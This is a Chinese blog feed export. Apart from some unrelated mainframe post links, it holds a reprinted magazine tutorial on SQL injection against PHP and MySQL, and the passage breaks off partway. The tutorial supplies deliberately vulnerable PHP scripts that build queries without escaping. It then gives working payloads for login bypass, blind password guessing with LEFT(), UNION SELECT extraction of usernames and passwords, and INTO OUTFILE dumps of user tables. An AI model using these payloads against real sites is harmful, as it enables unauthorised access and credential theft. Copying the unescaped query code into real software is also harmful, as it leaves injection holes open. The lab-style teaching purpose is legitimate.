2003年开始，喜欢脚本攻击的人越来越多，而且研究ASP下注入的朋友也逐渐多了起来，我看过最早的关于SQL注入的文章是一篇99年国外的高手写的，而现在国外的已经炉火纯青了，国内才开始注意这个技术，由此看来，国内的这方面的技术相对于国外还是有一段很大差距，话说回来，大家对SQL注入攻击也相当熟悉了，国内各大站点都有些堪称经典的作品，不过作为一篇完整的文章，我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步，不妨给本文挑点刺。权当指点小弟。关于php+Mysql的注入 国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。 尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ' (单引号), &quot; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。 早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/11/27/579.html" rel="bookmark">带DB2的编译程序</a></h3><p>share 一个本人最近做得db2编译程序； CO是rexx 写得脚本，用于发动编译作业的过程CMPCOB 此程序的特点是，bind的时候，直接bind到一个PACKAGE中。实际操作中需要将该package bind到一个固定的plan中，如EDBIND所示，改作业同时将plan的权限授予public。 在未使用该方式前，我的交易报cics 的abend code 以下内容为REXX脚本，应该放在ADCD.Z19.CLIST(CO)， ISREDIT MACRO (PARM) SET A=&amp;SUBSTR(8:8,&amp;SYSTIME) SET PKG=&amp;STR(EDOPKG1) SET CONT=&amp;STR(+) ISREDIT (DSNAME) = DATASET ISREDIT (MNAME) ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/11/09/571.html" rel="bookmark">CEDX和CEDF的区别</a></h3><p>CEDX 交易ID ==&gt; 这里只能是四位字符的交易ID，而且这个交易需要其他元件/手动【CECI START TRAN(XXXX) FROM(参数)】触发 CEDF 交易ID/终端号 ==&gt; 这个交易不需要其他元件/手动触发，可以直接发起该交易。很多情况是下，很方便！！ 注意对于需求中要求输入参数的交易，这里一定要设置参数，否则可能就出DUMP了。 所以，有人会说，CEDX是异步跟踪，因为需要其他交易异步start待跟踪交易；CEDF是同步的。 来自一本书上的解释： CEDF：Command execution diagnotic facility（用于在程序执行前后显示EXEC CICS命令） CEDX：Command execution diagnotic facility（为非终端交易测试的CEDF版本）</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2010/02/24/32.html" rel="bookmark">定义KSDS, AIX, PATH, 并使用REPRO造测试 数据的模板作业流</a></h3><p>以下是一个创建KSDS的模板作业流, 从创建CLUSTER, REPRO测试数据, 建立AIX, 创建PATH等的全过程. 作业流模板在本站虚拟机SAMPLE.JCL(KSDS001). //KSDS001  JOB  CLASS=A,MSGLEVEL=(1,1),MSGCLASS=A, //         NOTIFY=&amp;SYSUID //***************************** //STEP01  EXEC PGM=IDCAMS //***************************** //SYSPRINT DD SYSOUT=* //SYSIN    DD *   DELETE SAMPLE.INFILE.KSDS PURGE   DEFINE CLUSTER(NAME(SAMPLE.INFILE.KSDS) -                            ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/09/619.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection with MySQL</title>
		<link>http://blog.yxzone.net/2012/04/09/617.html</link>
		<comments>http://blog.yxzone.net/2012/04/09/617.html#comments</comments>
		<pubDate>Mon, 09 Apr 2012 02:19:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[-数据库]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=617</guid>
		<description><![CDATA[本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。 声明 本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有什么遗漏或错误，欢迎来安全天使论坛（http://www.4ngel.net/forums）和我交流。 前言 2003年开始，喜欢脚本攻击的人越来越多，而且研究ASP下注入的朋友也逐渐多了起来，我看过最早的关于SQL注入的文章是一篇99年国外的高手写的，而现在国外的已经炉火纯青了，国内才开始注意这个技术，由此看来，国内的这方面的技术相对于国外还是有一段很大差距，话说回来，大家对SQL注入攻击也相当熟悉了，国内各大站点都有些堪称经典的作品，不过作为一篇完整的文章，我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步，不妨给本文挑点刺。权当指点小弟。 关于php+Mysql的注入 国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。 尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 &#8216; (单引号), &#34; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。 早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。 注：在没有具体说明的情况下，我们假设magic_quotes_gpc均为off。 php+Mysql注入的误区 很多人认为在PHP+MYSQL下注入一定要用到单引号，或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=&#60;command&#62; exec master.dbo.xp_cmdshell @a”这类的命令来消除引号，其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。 为什么呢？因为不管在什么语言里，在引号（包括单双）里，所有字符串均是常量，即使是dir这样的命令，也紧紧是字符串而已，并不能当做命令执行，除非是这样写的代码： $command = &#34;dir c:\&#34;; system($command); 否则仅仅只是字符串，当然，我们所说的命令不单指系统命令，我们这里说的是SQL语句，要让我们构造的SQL语句正常执行，就不能让我们的语句变成字符串，那么什么情况下会用单引号？什么时候不用呢？看看下面两句SQL语句： ①SELECT * FROM article WHERE articleid=&#8217;$id&#8217; ②SELECT * FROM article WHERE articleid=$id [...]]]></description>
			<content:encoded><![CDATA[<p><strong>本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于<a href="http://www.4ngel.net/article/30.htm">《Advanced SQL Injection with MySQL》</a>之前一个月。</strong></p>
<p><strong>声明</strong></p>
<p> 本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有什么遗漏或错误，欢迎来安全天使论坛（http://www.4ngel.net/forums）和我交流。</p>
<p><strong>前言</strong></p>
<p> 2003年开始，喜欢脚本攻击的人越来越多，而且研究ASP下注入的朋友也逐渐多了起来，我看过最早的关于SQL注入的文章是一篇99年国外的高手写的，而现在国外的已经炉火纯青了，国内才开始注意这个技术，由此看来，国内的这方面的技术相对于国外还是有一段很大差距，话说回来，大家对SQL注入攻击也相当熟悉了，国内各大站点都有些堪称经典的作品，不过作为一篇完整的文章，我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步，不妨给本文挑点刺。权当指点小弟。</p>
<p><span id="more-617"></span>
<p><strong>关于php+Mysql的注入</strong></p>
<p> 国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。   <br /> 尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 &#8216; (单引号), &quot; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。    <br /> 早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。</p>
<p><em>注：在没有具体说明的情况下，我们假设magic_quotes_gpc均为off。</em></p>
<p><strong>php+Mysql注入的误区</strong></p>
<p> 很多人认为在PHP+MYSQL下注入一定要用到单引号，或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=&lt;command&gt; exec master.dbo.xp_cmdshell @a”这类的命令来消除引号，其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。   <br /> 为什么呢？因为不管在什么语言里，在引号（包括单双）里，所有字符串均是常量，即使是dir这样的命令，也紧紧是字符串而已，并不能当做命令执行，除非是这样写的代码：</p>
<p>$command = &quot;dir c:\&quot;;   <br />system($command);</p>
<p> 否则仅仅只是字符串，当然，我们所说的命令不单指系统命令，我们这里说的是SQL语句，要让我们构造的SQL语句正常执行，就不能让我们的语句变成字符串，那么什么情况下会用单引号？什么时候不用呢？看看下面两句SQL语句：</p>
<p>①SELECT * FROM article WHERE articleid=&#8217;$id&#8217;   <br />②SELECT * FROM article WHERE articleid=$id</p>
<p> 两种写法在各种程序中都很普遍，但安全性是不同的，第一句由于把变量$id放在一对单引号中，这样使得我们所提交的变量都变成了字符串，即使包含了正确的SQL语句，也不会正常执行，而第二句不同，由于没有把变量放进单引号中，那我们所提交的一切，只要包含空格，那空格后的变量都会作为SQL语句执行，我们针对两个句子分别提交两个成功注入的畸形语句，来看看不同之处。</p>
<p>① 指定变量$id为：   <br />1&#8242; and 1=2 union select * from user where userid=1/*    <br />此时整个SQL语句变为：    <br />SELECT * FROM article WHERE articleid=&#8217;1&#8242; and 1=2 union select * from user where userid=1/*&#8217;</p>
<p>②指定变量$id为：   <br />1 and 1=2 union select * from user where userid=1    <br />此时整个SQL语句变为：    <br />SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1</p>
<p> 看出来了吗？由于第一句有单引号，我们必须先闭合前面的单引号，这样才能使后面的语句作为SQL执行，并要注释掉后面原SQL语句中的后面的单引号，这样才可以成功注入，如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数，我们的攻击就会化为乌有，但第二句没有用引号包含变量，那我们也不用考虑去闭合、注释，直接提交就OK了。   <br /> 大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句，是没有包含引号的，大家不要认为真的可以不用引号注入，仔细看看PHPBB的代码，就可以发现，那个$forum_id所在的SQL语句是这样写的： </p>
<p>$sql = &quot;SELECT *   <br />FROM &quot; . FORUMS_TABLE . &quot;    <br />WHERE forum_id = $forum_id&quot;;</p>
<p> 由于没有用单引号包含变量，才给pinkeyes这个家伙有机可乘，所以大家在写PHP程序的时候，记得用单引号把变量包含起来。当然，必要的安全措施是必不可少的。</p>
<p><strong>简单的例子</strong></p>
<p> 先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然，这个例子也可以告诉大家如何学习构造有效的SQL语句。   <br /> 我们拿一个用户验证的例子，首先建立一个数据库和一个数据表并插入一条记录，如下：</p>
<p>CREATE TABLE `user` (   <br />`userid` int(11) NOT NULL auto_increment,    <br />`username` varchar(20) NOT NULL default ”,    <br />`password` varchar(20) NOT NULL default ”,    <br />PRIMARY KEY (`userid`)    <br />) TYPE=MyISAM AUTO_INCREMENT=3 ;</p>
<p>#   <br /># 导出表中的数据 `user`    <br />#</p>
<p>INSERT INTO `user` VALUES (1, &#8216;angel&#8217;, &#8216;mypass&#8217;);</p>
<p> 验证用户文件的代码如下：</p>
<p>&lt;?php   <br />$servername = &quot;localhost&quot;;    <br />$dbusername = &quot;root&quot;;    <br />$dbpassword = &quot;&quot;;    <br />$dbname = &quot;injection&quot;;</p>
<p>mysql_connect($servername,$dbusername,$dbpassword) or die (&quot;数据库连接失败&quot;);</p>
<p>$sql = &quot;SELECT * FROM user WHERE username=&#8217;$username&#8217; AND password=&#8217;$password&#8217;&quot;;</p>
<p>$result = mysql_db_query($dbname, $sql);   <br />$userinfo = mysql_fetch_array($result);</p>
<p>if (empty($userinfo))   <br />{    <br />echo &quot;登陆失败&quot;;    <br />} else {    <br />echo &quot;登陆成功&quot;;    <br />}</p>
<p>echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;   <br />?&gt;</p>
<p> 这时我们提交：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; or 1=1</p>
<p> 就会返回：</p>
<p>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13   <br />登陆失败</p>
<p>SQL Query:SELECT * FROM user WHERE username=&#8217;angel&#8217; or 1=1&#8242; AND password=”</p>
<p>PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13 </p>
<p> 看到了吗？单引号闭合后，并没有注释掉后面的单引号，导致单引号没有正确配对，所以由此可知我们构造的语句不能让Mysql正确执行，要重新构造：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; or &#8217;1=1</p>
<p> 这时显示“登陆成功”，说明成功了。或者提交：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217;/*   <br />http://127.0.0.1/injection/user.php?username=angel&#8217;%23</p>
<p> 这样就把后面的语句给注释掉了！说说这两种提交的不同之处，我们提交的第一句是利用逻辑运算，在ASP中运用可以说是非常广泛的，这个不用说了吧？第二、三句是根据mysql的特性，mysql支持/*和#两种注释格式，所以我们提交的时候是把后面的代码注释掉，值得注意的是由于编码问题，在IE地址栏里提交#会变成空的，所以我们在地址栏提交的时候，应该提交%23，才会变成#，就成功注释了，这个比逻辑运算简单得多了，由此可以看出PHP比ASP强大灵活多了。   <br /> 通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧？</p>
<p><strong>语句构造</strong></p>
<p> PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过，语句的构造才是最有趣味的地方，但构造语句和ACCESS、MSSQL都有少许不同，但同样可以发挥得淋漓尽致。看下面的例子。</p>
<p><strong>一、搜索引擎</strong></p>
<p> 网上有一大堆的PHP程序搜索引擎是有问题的，也就是提交特殊字符可以显示所有记录，包括不符合条件的，其实这个危害也不算大，因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。   <br /> 查询是只读的操作应该不会对数据产生破坏作用，不要太担心。不过泄露隐私不知道算不算危害，下面是一个标准的搜索引擎：</p>
<p>&lt;form method=&quot;GET&quot; action=&quot;search.php&quot; name=&quot;search&quot;&gt;   <br />&lt;input name=&quot;keywords&quot; type=&quot;text&quot; value=&quot;&quot; size=&quot;15&quot;&gt; &lt;input type=&quot;submit&quot; value=&quot;Search&quot;&gt;    <br />&lt;/form&gt;    <br />&lt;p&gt;&lt;b&gt;Search result&lt;/b&gt;&lt;/p&gt;</p>
<p>&lt;?php   <br />$servername = &quot;localhost&quot;;    <br />$dbusername = &quot;root&quot;;    <br />$dbpassword = &quot;&quot;;    <br />$dbname = &quot;injection&quot;;</p>
<p>mysql_connect($servername,$dbusername,$dbpassword) or die (&quot;数据库连接失败&quot;);</p>
<p>$keywords = $_GET['keywords'];   <br />if (!empty($keywords)) {    <br /> //$keywords = addslashes($keywords);    <br /> //$keywords = str_replace(&quot;_&quot;,&quot;\_&quot;,$keywords);    <br /> //$keywords = str_replace(&quot;%&quot;,&quot;\%&quot;,$keywords);</p>
<p> $sql = &quot;SELECT * FROM &quot;.$db_prefix.&quot;article WHERE title LIKE &#8216;%$keywords%&#8217; $search ORDER BY title DESC&quot;;   <br /> $result = mysql_db_query($dbname,$sql);    <br /> $tatol=mysql_num_rows($result);</p>
<p> echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;</p>
<p> if ($tatol &lt;=0){   <br /> echo &quot;The \&quot;&lt;b&gt;$keywords&lt;/b&gt;\&quot; was not found in all the record.&lt;p&gt;\n&quot;;    <br /> } else {    <br /> while ($article=mysql_fetch_array($result)) {    <br /> echo &quot;&lt;li&gt;&quot;.htmlspecialchars($article[title]).&quot;&lt;p&gt;\n&quot;;    <br /> } //while    <br /> }    <br />} else {    <br /> echo &quot;&lt;b&gt;Please enter some keywords.&lt;/b&gt;&lt;p&gt;\n&quot;;    <br />}    <br />?&gt;</p>
<p> 一般程序都是这样写的，如果缺乏变量检查，我们就可以改写变量，达到“注入”的目的，尽管没有危害，当我们输入“___” 、“.__ ”、“%”等类似的关键字时，会把数据库中的所有记录都取出来。如果我们在表单提交：</p>
<p>%&#8217; ORDER BY articleid/*   <br />%&#8217; ORDER BY articleid#    <br />__&#8217; ORDER BY articleid/*    <br />__&#8217; ORDER BY articleid#</p>
<p> SQL语句就被改变成下面的样子了，</p>
<p>SELECT * FROM article WHERE title LIKE &#8216;%%&#8217; ORDER BY articleid/*%&#8217; ORDER BY title DESC   <br />SELECT * FROM article WHERE title LIKE &#8216;%__&#8217; ORDER BY articleid#%&#8217; ORDER BY title DESC</p>
<p> 就会列出所有记录，包括被隐藏的，还可以改变排列顺序。这个虽然危害不大，也算是注入的一种方式了吧？</p>
<p><strong>二、查询字段</strong></p>
<p> 查询字段又可以分成两种，本表查询和跨表查询，这两种查询和ACCESS、MSSQL差不多，甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难？我们在ASP中经常使用的个别函数在PHP里要有小小的改动，如下：</p>
<p><strong>① 本表查询</strong></p>
<p> 看下面一条SQL语句，多用在论坛或者会员注册系统查看用户资料的，</p>
<p>&lt;?php   <br />$servername = &quot;localhost&quot;;    <br />$dbusername = &quot;root&quot;;    <br />$dbpassword = &quot;&quot;;    <br />$dbname = &quot;injection&quot;;</p>
<p>mysql_connect($servername,$dbusername,$dbpassword) or die (&quot;数据库连接失败&quot;);</p>
<p>$sql = &quot;SELECT * FROM user WHERE username=&#8217;$username&#8217;&quot;;   <br />$result = mysql_db_query($dbname,$sql);    <br />$row = mysql_fetch_array($result);</p>
<p>if (!$row) {   <br /> echo &quot;该记录不存在&quot;;    <br /> echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;    <br /> exit;    <br />}</p>
<p>echo &quot;你要查询的用户ID是：$row[userid]\n&quot;;   <br />echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;    <br />?&gt;</p>
<p> 当我们提交的用户名为真时，就会正常返回用户的ID，如果为非法参数就会提示相应的错误，由于是查询用户资料，我们可以大胆猜测密码就存在这个数据表里（现在我还没有碰见过密码是单独存在另一个表的程序），记得刚才的身份验证程序吗？和现在的相比，就少了一个AND条件，如下：</p>
<p>SELECT * FROM user WHERE username=&#8217;$username&#8217; AND password=&#8217;$password&#8217;SELECT * FROM user WHERE username=&#8217;$username&#8217;</p>
<p> 相同的就是当条件为真时，就会给出正确的提示信息，如果我们构造出后面的AND条件部分，并使这部分为真，那我们的目的也就达到了，还是利用刚才建立的user数据库，用户名为angel，密码为mypass，   <br />看了上面的例子，应该知道构造了吧，如果我们提交：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; and password=&#8217;mypass</p>
<p> 这个是绝对为真的，因为我们这样提交上面的SQL语句变成了下面的样子：</p>
<p>SELECT * FROM user WHERE username=&#8217;angel&#8217; AND password=&#8217;mypass&#8217;</p>
<p> 但在实际的攻击中，我们是肯定不知道密码的，假设我们知道数据库的各个字段，下面我们就开始探测密码了，首先获取密码长度：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; and LENGTH(password)=&#8217;6</p>
<p> 在ACCESS中，用LEN()函数来获取字符串长度，在MYSQL中，要使用LENGTH()，只要没有构造错误，也就是说SQL语句能正常执行，那返回结果无外乎两种，不是返回用户ID，就是返回“该记录不存在”。当用户名为angel并且密码长度为6的时候返回真，就会返回相关记录，是不是和ASP里一样？再用LEFT()、RIGHT()、MID()函数猜密码：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,1)=&#8217;m   <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,2)=&#8217;my    <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,3)=&#8217;myp    <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,4)=&#8217;mypa    <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,5)=&#8217;mypas    <br />http://127.0.0.1/injection/user.php?username=angel&#8217; and LEFT(password,6)=&#8217;mypass</p>
<p> 看，密码不是出来了吗？简单吧？当然实际情况会有不少条件限制，下面还会讲到这个例子的深入应用。</p>
<p><strong>② 跨表查询</strong></p>
<p> 这部分就和ASP有点出入了，除了一定要用UNION连接两条SQL语句，最难掌握的就是字段的数量，如果看过MYSQL参考手册，就知道了在 SELECT 中的 select_expression (select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个 SELECT 查询中使用的列名将作为结果集的列名返回。简单的说，也就是UNION后面查选的字段数量、字段类型都应该与前面的SELECT一样，而且，如果前面的SELECT为真，就同时返回两个SELECT的结果，当前面的SELECT为假，就会返回第二个SELECT所得的结果，某些情况会替换掉在第一个SELECT原来应该显示的字段，如下图：</p>
<p><img src="http://www.4ngel.net/img/union.gif" width="700" height="405" /></p>
<p> 看了这个图直观多了吧？所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同，类型也相同，我们就可以这样提交:</p>
<p>SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT * FROM……</p>
<p> 如果字段数量、字段类型任意一个不相同，就只能搞清除数据类型和字段数量，这样提交：</p>
<p>SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT 1,1,1,1,1,1,1 FROM……</p>
<p> 否则就会报错：</p>
<p>The used SELECT statements have a different number of columns</p>
<p> 如果不知道数据类型和字段数量，可以用1来慢慢试，因为1属于int\str\var类型，所以我们只要慢慢改变数量，一定可以猜到的。如果不能马上理解上面的理论，后面有很详细的例子。   <br /> 我们看看下面的数据结构，是一个简单的文章数据表。</p>
<p>CREATE TABLE `article` (   <br />`articleid` int(11) NOT NULL auto_increment,    <br />`title` varchar(100) NOT NULL default ”,    <br />`content` text NOT NULL,    <br />PRIMARY KEY (`articleid`)    <br />) TYPE=MyISAM AUTO_INCREMENT=3 ;</p>
<p>#   <br /># 导出表中的数据 `article`    <br />#</p>
<p>INSERT INTO `article` VALUES (1, &#8216;我是一个不爱读书的孩子&#8217;, &#8216;中国的教育制度真是他妈的落后！如果我当教育部长。我要把所有老师都解雇！&#8217;);   <br />INSERT INTO `article` VALUES (2, &#8216;我恨死你&#8217;, &#8216;我恨死你了，你是什么东西啊&#8217;);</p>
<p> 这个表的字段类型分别是int、varchar、text，如果我们用UNION联合查询的时候，后面的查询的表的结构和这个一样。就可以用“SELECT *”，如果有任何一个不一样，那我们只能用“SELECT 1,1,1,1……”了。</p>
<p> 下面的文件是一个很标准、简单的显示文章的文件，很多站点都是这种页面没有过滤，所以成为最明显的注入点，下面就拿这个文件作为例子，开始我们的注入实验。</p>
<p>&lt;?php   <br />$servername = &quot;localhost&quot;;    <br />$dbusername = &quot;root&quot;;    <br />$dbpassword = &quot;&quot;;    <br />$dbname = &quot;injection&quot;;</p>
<p>mysql_connect($servername,$dbusername,$dbpassword) or die (&quot;数据库连接失败&quot;);</p>
<p>$sql = &quot;SELECT * FROM article WHERE articleid=&#8217;$id&#8217;&quot;;   <br />$result = mysql_db_query($dbname,$sql);    <br />$row = mysql_fetch_array($result);</p>
<p>if (!$row)   <br />{    <br /> echo &quot;该记录不存在&quot;;    <br /> echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;    <br /> exit;    <br />}</p>
<p>echo &quot;title&lt;br&gt;&quot;.$row[title].&quot;&lt;p&gt;\n&quot;;   <br />echo &quot;content&lt;br&gt;&quot;.$row[content].&quot;&lt;p&gt;\n&quot;;    <br />echo &quot;&lt;p&gt;SQL Query:$sql&lt;p&gt;&quot;;    <br />?&gt;</p>
<p>正常情况下，我们提交这样的一个请求：</p>
<p>http://127.0.0.1/injection/show.php?id=1</p>
<p> 就会显示articleid为1的文章，但我们不需要文章，我们需要的是用户的敏感信息，就要查询user表，现在是查询刚才我们建立的user表。   <br /> 由于$id没有过滤给我们制造了这个机会，我们要把show.php文件中的SQL语句改写成类似这个样子：</p>
<p>SELECT * FROM article WHERE articleid=&#8217;$id&#8217; UNION SELECT * FROM user ……</p>
<p> 由于这个代码是有单引号包含着变量的，我们现在提交：</p>
<p>http://127.0.0.1/injection/show.php?id=1&#8242; union select 1,username,password from user/*</p>
<p> 按道理说，应该显示用户表的username、password两个字段的内容才对啊，怎么正常显示文章呢？如图：</p>
<p><img src="http://www.4ngel.net/img/php2.gif" width="778" height="180" /></p>
<p> 其实，我们提交的articleid=1是article表里存在的，执行结果就是真了，自然返回前面SELECT的结果，当我们提交空的值或者提交一个不存在的值，就会蹦出我们想要的东西：</p>
<p>http://127.0.0.1/injection/show.php?id=&#8217; union select 1,username,password from user/*   <br />http://127.0.0.1/injection/show.php?id=99999&#8242; union select 1,username,password from user/*</p>
<p> 如图：</p>
<p><img src="http://www.4ngel.net/img/php3.gif" width="770" height="180" /></p>
<p> 现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用，后面还会讲到一些高级的技巧。</p>
<p><strong>三、导出文件</strong></p>
<p> 这个是比较容易构造但又有一定限制的技术，我们经常可以看见以下的SQL语句：</p>
<p>select * from table into outfile &#8216;c:/file.txt&#8217;   <br />select * from table into outfile &#8216;/var/www/file.txt&#8217;</p>
<p> 但这样的语句，一般很少用在程序里，有谁会把自己的数据导出呢？除非是备份，但我也没有见过这种备份法。所以我们要自己构造，但必须有下面的前提条件：</p>
<ul>
<li>必须导出到能访问的目录，这样才能下载。 </li>
<li>能访问的目录必须要有可写的权限，否则导出会失败。 </li>
<li>确保硬盘有足够的容量能容下导出的数据，这个很少见。 </li>
<li>确保要已经存在相同的文件名，会导致导出失败，并提示：“File &#8216;c:/file.txt&#8217; already exists”，这样可以防止数据库表和文件例如/etc/passwd被破坏。 </li>
</ul>
<p> 我们继续用上面的user.php和show.php两个文件举例，如果一个一个用户猜解实在是太慢了，如果对方的密码或者其他敏感信息很复杂，又不会写Exploit，要猜到什么时候啊？来点大范围的，直接导出全部数据好了。user.php文件的查询语句，我们按照into outfile的标准格式，注入成下面的语句就能导出我们需要的信息了：</p>
<p>SELECT * FROM user WHERE username=&#8217;$username&#8217; into outfile &#8216;c:/file.txt&#8217;</p>
<p> 知道怎么样的语句可以实现我们的目的，我们就很容易构造出相应的语句：</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217; into outfile &#8216;c:/file.txt</p>
<p> 出现了错误提示，但从返回的语句看来，我们的SQL语句确实是注入正确了，即使出现错误，也是查询的问题了，文件还是乖乖的被导出了，如图：</p>
<p><img src="http://www.4ngel.net/img/php4.gif" width="701" height="479" /></p>
<p> 由于代码本身就有WHERE来指定一个条件，所以我们导出的数据仅仅是满足这个条件的数据，如果我们想导出全部呢？其实很简单，只要使这个WHERE条件为假，并且指定一个成真的条件，就可以不用被束缚在WHERE里了，来看看经典1=1发挥作用了：</p>
<p>http://127.0.0.1/injection/user.php?username=&#8217; or 1=1 into outfile &#8216;c:/file.txt</p>
<p> 实际的SQL语句变为：</p>
<p>SELECT * FROM user WHERE username=” or 1=1 into outfile &#8216;c:/file.txt&#8217;</p>
<p> 这样username的参数是空的，就是假了，1=1永远是真的，那or前面的WHERE就不起作用了，但千万别用and哦，否则是不能导出全部数据的。   <br /> 既然条件满足，在这种情况下就直接导出所有数据！如图：</p>
<p><img src="http://www.4ngel.net/img/php5.GIF" width="479" height="126" /></p>
<p> 但是跨表的导出文件的语句该怎么构造呢？还是用到UNION联合查询，所以一切前提条件都应该和UNION、导出数据一样，跨表导出数据正常情况下应该相下面的一样：</p>
<p>SELECT * FROM article WHERE articleid=&#8217;1&#8242; union select 1,username,password from user into outfile &#8216;c:/user.txt&#8217;</p>
<p> 这样可以导出文件了，如果我们要构造就提交：</p>
<p>http://127.0.0.1/injection/show.php?id=1&#8242; union select 1,username,password from user into outfile &#8216;c:/user.txt</p>
<p> 文件是出来了，可是有一个问题，由于前面的查询articleid=&#8217;1&#8242;为真了，所以导出的数据也有整个文章的一部分，如图：</p>
<p><img src="http://www.4ngel.net/img/php6.gif" width="544" height="134" /></p>
<p> 所以我们把应该使前面的查询语句为假，才能只导出后面查询的内容，只要提交：</p>
<p>http://127.0.0.1/injection/show.php?id=&#8217; union select 1,username,password from user into outfile &#8216;c:/user.txt</p>
<p> 这样才能得到我们想要的资料：</p>
